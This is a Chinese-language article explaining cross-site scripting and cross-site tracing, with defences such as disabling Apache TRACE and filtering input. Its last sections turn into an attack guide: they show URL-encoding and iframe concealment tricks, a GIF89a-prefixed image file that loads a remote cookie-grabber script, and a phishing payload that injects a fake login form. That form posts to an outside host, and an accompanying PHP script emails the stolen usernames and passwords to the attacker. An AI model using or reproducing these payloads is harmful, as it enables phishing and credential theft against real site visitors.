基本概括
業界對跨站攻擊的定義如下:“跨站攻擊是指入侵者在遠程WEB頁面的HTML代碼中插入具有惡意目的的數據,用戶認為該頁面是可信賴的,但是當瀏覽器下載該頁面,嵌入其中的腳本將被解釋執行。”由於HTML語言允許使用腳本進行簡單互動,入侵者便通過技術手段在某個頁面里插入一個惡意HTML代碼,例如記錄論壇保存的用戶信息(Cookie),由於Cookie保存了完整的用戶名和密碼資料,用戶就會遭受安全損失。如這句簡單的Javascript腳本就能輕易獲取用戶信息:alert(document.cookie),它會彈出一個包含用戶信息的訊息框。入侵者運用腳本就能把用戶信息傳送到他們自己的記錄頁面中,稍做分析便獲取了用戶的敏感信息。
跨站腳本攻擊分類
1、持久型XSS,又稱存儲型XSS 。
2、非持久型XSS,又稱反射型XSS。
3、DOM-XSS,DOM(文檔對象模型)。
持久型的XSS較第二、第三種XSS攻擊的危害較大。
兩種方式
其一由於HTML語言允許使用腳本進行簡單互動,入侵者便通過技術手段在某個頁面里插入一個惡意HTML代碼——例如記錄論壇保存的用戶信息(Cookie),由 於Cookie保存了完整的用戶名和密碼資料,用戶就會遭受安全損失。
其二XST攻擊描述:攻擊者將惡意代碼嵌入一台已經被控制的主機上的web檔案,當訪問者瀏覽時惡意代碼在瀏覽器中執行,然後訪問者的cookie、http基本驗證以及ntlm驗證信息將被傳送到已經被控制的主機,同時傳送Trace請求給目標主機,導致cookie欺騙或者是中間人攻擊。
攻擊條件
XST:
1、需要目標web伺服器允許Trace參數;
2、需要一個用來插入XST代碼的地方;
3、目標站點存在跨域漏洞。
比較
相同點
都具有很大的欺騙性,可以對受害主機產生危害,而且這種攻擊是多平台多技術的,我們還可以利用Active控制項、Flash、Java等來進行XST和XSS攻擊。
優點
可以繞過一般的http驗證以及NTLM驗證
用apache+mysql+php在win2003架設web伺服器,掃描伺服器:
提示 www (80/tcp)
http TRACE 跨站攻擊
你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用來調試web伺服器連線的HTTP方式。
支持該方式的伺服器存在跨站腳本漏洞,通常在描述各種瀏覽器缺陷的時候,把"Cross-Site-Tracing"簡稱為XST。
攻擊者可以利用此漏洞欺騙合法用戶並得到他們的私人信息。
解決方案: 禁用這些方式。
如果你使用的是Apache, 在各虛擬主機的配置檔案里添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
也可以在server config或者 virtual host中添加如下配置(適用於Apache 1.3.34, 2.0.55 and later)
TraceEnable off
區別
並非任何可利用腳本插入實現攻擊的漏洞都被稱為XSS,因為還有另一種攻擊方式:“Injection”,即腳本注入或者是講腳本注射,他們之間是有區別的,他們的區別在以下兩點:
1、( Injection)腳本插入攻擊會把我們插入的腳本保存在被修改的遠程WEB頁面里,如:sql injection,XPath injection.這個很常見,好象前幾個月很多安全網站被黑就是因為腳本里存在注入漏洞,而被一些人利用的。
2、跨站腳本是臨時的,執行後就消失了。這個就不同於我們現 在討論的XSS/CSS 了,今天講的是在頁面中插入腳本,這樣誰來訪問誰的瀏覽器就執行,如果不被刪掉或者是修改編輯的話,就一直存在的。
什麼類型的腳本可以被插入遠程頁面?
主流腳本包括以下幾種:
HTML
Javascript
VB
ActiveX
Flash
如何防範
在你的WEB瀏覽器上禁用java腳本,具體方法,先打開你的IE的internet選項,切換到“安全”頁,有個“自定義”級別,點他出現如下視窗,禁用就可以了。但是好象不太可能,因為一旦禁用,很多功能就喪失了,這個方法是下策。
還有不要訪問包含〈〉字元的連線,當然一些官方的URL不會包括任何腳本元素。
如果你的站點程式含論壇,留言板,以及其他程式中含提交數據格式的,沒有很好過濾機制,請馬上下載升級程式或是停止使用ubb這樣的功能,避免造成更多的問題。
跨站腳本執行漏洞的成因,形式,危害,利用方式,隱藏技巧
漏洞成因
原因很簡單,就是因為CGI程式沒有對用戶提交的變數中的HTML代碼進行過濾或轉換。
漏洞形式
這裡所說的形式,實際上是指CGI輸入的形式,主要分為兩種:
1.顯示輸入
2.隱式輸入
其中顯示輸入明確要求用戶輸入數據,而隱式輸入則本來並不要求用戶輸入數據,但是用戶卻可以通過輸入數據來進行干涉。
顯示輸入又可以分為兩種:
1. 輸入完成立刻輸出結果
2. 輸入完成先存儲在文本檔案或資料庫中,然後再輸出結果
注意:後者可能會讓你的網站面目全非!
而隱式輸入除了一些正常的情況外,還可以利用伺服器或CGI程式處理錯誤信息的方式來實施。
漏洞危害
大家最關心的大概就要算這個問題了,下面列舉的可能並不全面,也不系統,但是我想應該是比較典型的吧。
1. 獲取其他用戶Cookie中的敏感數據
2. 禁止頁面特定信息
3. 偽造頁面信息
4.拒絕服務攻擊
5. 突破外網區域網路不同安全設定
6. 與其它漏洞結合,修改系統設定,查看系統檔案,執行系統命令等
7. 其它
一般來說,上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞,也就是通過別人的網站達到攻擊的效果,也就是說,這種攻擊能在一定程度上隱藏身份。
隱藏技巧
出於時間的考慮,我在這裡將主要講一下理論了,相信不是很難懂,如果實在有問題,那么去找本書看吧。
1. URL編碼
比較一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你覺得哪個更有隱蔽性?!
2. 隱藏在其它對象之下
與直接給別人一個連結相比,你是否決定把該連結隱藏在按鈕以下更好些呢?
3. 嵌入頁面中
讓別人訪問一個地址(注意這裡的地址不同於上面提到的URL),是不是又要比讓別人按一個按鈕容易得多,藉助於Iframe,你可以把這種攻擊變得更隱蔽。
4. 合理利用事件
合理使用事件,在某些情況上可以繞過CGI程式對輸入的限制,比如說前些日子的SecurityFocus的跨站腳本執行漏洞。
注意事項
一般情況下直接進行類似alert(document.cookie)之類的攻擊沒有什麼問題,但是有時 CGI程式對用戶的輸入進行了一些處理,比如說包含在’’或””之內,這時我們就需要使用一些小技巧來繞過這些限制。
如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。
解決方法
要避免受到跨站腳本執行漏洞的攻擊,需要程式設計師和用戶兩方面共同努力:
程式設計師:
1. 過濾或轉換用戶提交數據中的HTML代碼
2. 限制用戶提交數據的長度
用戶:
1. 不要輕易訪問別人給你的連結
2. 禁止瀏覽器運行JavaScript和ActiveX代碼
附:常見瀏覽器修改設定的位置為:
Internet Explorer:
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera:>檔案->快速參數->允許使用Java
檔案->快速參數->允許使用外掛程式
檔案->快速參數->允許使用JavaScript
常見問題
Q:跨站腳本執行漏洞在哪裡存在?
A:只要是CGI程式,只要允許用戶輸入,就可能存在跨站腳本執行漏洞。
Q:跨站腳本執行漏洞是不是只能偷別人的Cookie?
A:當然不是!HTML代碼能做的,跨站腳本執行漏洞基本都能做。
解決 ubuntu server 的跨站攻擊
apache 默認開啟了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan掃描發現此功能存在存在跨站攻擊漏洞,並且提出了解決辦法,在配置檔案中添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
問題是不知道該放那裡,找一天都沒發現。嘗試在/etc/apache2/httpd.conf里添加,怎么都沒反應。網上一般就是打開虛擬機的 AllowOverride,然後在.htaccess檔案中添加。但整個配置檔案都可以修改,沒理由要這樣做......奇蹟就發生在重啟的瞬間,竟然連不上伺服器。跑到實驗室發現,重啟正常,無奈之下竟發現還有一個sites-available的目錄,裡面的default檔案才是所謂的配置檔案,汗死...
添加後可通過 telnet 127.0.0.1 80 確認是否修復該漏洞,輸入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回車後返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
(註:windows的telnet默認沒有打開輸入回顯)
XSS 上傳
舉個例子,我們來新建一個hack.gif檔案.然後用記事本打開檔案,刪除所有的內容,然後寫入代碼
GIF89a<script>alert("XSS")</script>
保存退出.
上傳hack.gif到相就的地方...此時跨站發生
不要用Mozillia Firefox來訪問那張圖片,Mozillia 不會執行我們的alert.要用Internet explorer.
為什麼添加GIF89a ?
因為很多上傳程式會來檢查我們的gif檔案是否包含 'GIF89a',如果包括則認為是gif檔案.
code:GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>
我們需要知道一些其它格式圖片,頭部所包含的代碼.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
為了安全不要僅僅只檢查getimagesize()
XSS 釣魚
你是否明白什麼是釣魚?什麼是XSS?
在這個例子裡,有必需找到一個易受攻擊的網站去XSS並注入那裡,身於一種形式,以自己直接在網址以下代碼
code:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
這個通過這個模仿的表單,然後利用mail.php通過電子郵件把表單里的數據傳送給你。
code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("[email protected]", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>